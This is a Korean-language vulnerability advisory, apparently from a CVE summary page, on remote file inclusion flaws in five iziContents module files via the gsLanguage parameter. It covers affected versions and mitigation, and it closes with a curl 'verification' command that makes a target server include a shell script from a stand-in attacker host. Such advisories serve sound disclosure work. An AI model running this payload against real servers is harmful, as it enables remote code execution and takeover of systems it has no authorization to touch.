🇰🇷 한글 설명
iziContents 1 RC6 이전 버전의 PHP 원격 파일 포함(RFI) 취약점으로, gsLanguage 매개변수 검증 부재로 인해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 검색, 설문조사, 링크 관련 모듈의 5개 파일에서 발생합니다.
💡 쉬운 설명
오래된 웹사이트 관리 프로그램의 보안 결함으로, 악의적인 웹 주소를 입력하면 공격자가 서버를 완전히 제어할 수 있습니다. 일반인 관점에서는 매우 위험한 해킹 위험 상태입니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in iziContents 1 RC6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the gsLanguage parameter to (1) search/search.php, (2) poll/inlinepoll.php, (3) poll/showpoll.php, (4) links/showlinks.php, or (5) links/submit_links.php in modules/.
📍 영향받는 시스템
iziContents 1.0 RC6 이전 모든 버전
⚔️ 공격 벡터
modules/ 디렉토리 하위의 search/search.php, poll/inlinepoll.php, poll/showpoll.php, links/showlinks.php, links/submit_links.php에서 gsLanguage 매개변수로 원격 PHP 파일 URL 입력
🛡️ 대응 방법
iziContents를 최신 버전으로 업그레이드하거나 gsLanguage 파라미터에 대한 입력 검증 및 필터링 적용
🔧 검증 코드
원격 파일 내용이 응답으로 포함되거나 PHP 실행 결과가 나타나면 RFI 취약점이 존재함을 의미합니다.
curl -s 'http://target/modules/search/search.php?gsLanguage=http://attacker.com/shell.php' 2>/dev/null | head -20